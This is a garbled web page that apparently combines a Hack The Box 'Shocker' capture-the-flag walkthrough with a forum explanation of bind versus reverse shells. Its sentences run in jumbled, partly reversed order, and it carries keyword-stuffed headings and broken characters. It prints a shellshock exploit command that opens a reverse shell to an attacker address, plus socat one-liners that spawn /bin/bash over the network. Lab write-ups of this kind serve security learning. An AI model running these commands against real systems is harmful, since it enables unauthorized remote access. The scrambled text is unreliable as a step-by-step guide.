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However, the first thing I want to do is get a better and more stable shell. Now that we have a basic shell and the first user flag, we need to enumerate the system from our new point of view. The id command shows that we are running as the user shelly and a quick pwd shows that we need to change to the user's home directory to get hold of the user flag.

#Netcat reverse shell shellshock download#

So download the script and run it as follows (modifying the lhost and lport params to fit your machine): $ python shellshock.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.15 lport=4444 pages=/cgi-bin/user.sh

#Netcat reverse shell shellshock code#

However, looking at the code we can see that we will need to specify an extra parameter in order to make sure the exploit script can find our vulnerable cgi script on the server. ExploitationĪ quick search of exploit-db gives us a likely script we can use. Now that we know we have a cgi script executing valid bash (and given the clue in the name of the machine), it seems that this machine is likely to be vulnerable to shellshock. Given the output we receive back, it looks like the script is running some bash. We can run curl on the newly found URL to verify it. $ gobuster -u -w /usr/share/wordlists/dirb/small.txt -s 307,200,204,301,302,403 -x txt,sh,cgi,pl -t 50Īgain, the results come back quite quickly, showing us a shell script called user.sh. So lets run gobuster again, but starting in that cgi-bin directory this time. We can see that there is a cgi-bin directory currently returning a 403 - Forbidden response code. This finishes quite quickly with the following results:

-t : the number of threads to run to speed things up a little bit.

-x : the file extensions we wish to check each entry of our word-list with.

-s : the response status codes we want to know about.

-u : the URL of the host we wish to scan.

The flags are for the following settings: This shows that port 80 is in fact running a website, so lets have a dig at it with gobuster. Running curl on port 80 returns us the following HTML:

-oA : Save the output of the scan in all available formatsĪs you can see we have two ports open port 80 running Apache and port 2222 that seems to be running ssh.

#Netcat reverse shell shellshock software#

-sV : Enumerate versions of software running on found ports.

The IP address of the box is 10.10.10.56 so, as always, lets start with our initial enumeration. You can use netcat to setup a listener to catch this connection and get a shell.Today's post will take us through one of the easier retired boxes on Hack the Box Shocker. Reverse Shell: socat TCP4:192.168.0.9:4443 EXEC:/bin/bashįrom the TARGET computer, a connection to 192.168.0.9 on port 4443 is sent. socat is simply: socat īind Shell: socat TCP4-LISTEN:4443 EXEC:/bin/bashĪ process (socat) is listening on port 4443, which will spawn /bin/bash. With that in mind, I find socat a better tool to teach bind/reverse shells. The reason you are probably using a reverse shell: Avoids firewalls.

The connecting process (on the target computer) either is a shell, or spawns a shell.

^ This is the "reverse" part of "reverse shell".

You start a process on the TARGET computer that connects to the listening attacker port.

You start a process on the attacker computer, and it binds to a port.

You are now connected and have execution.

The listening process (on the target computer) either is a shell, or spawns a shell.

You start a process on the attacker computer that connects to the listening target port.

You start a process on the TARGET computer, and it binds to a port.

Just to clear something up for you: Reverse shell vs Bind shell

#Netcat reverse shell shellshock how to#

We teach you how to do it, use it at your own risk. - See upcoming events and writeups from past CTFs.- Privilege escalation over SSH, web exploitation.- Learn-as-you-go web exploitation game made by a redditor.- Interactive privilege escalation with browser-based bash shells (and much more).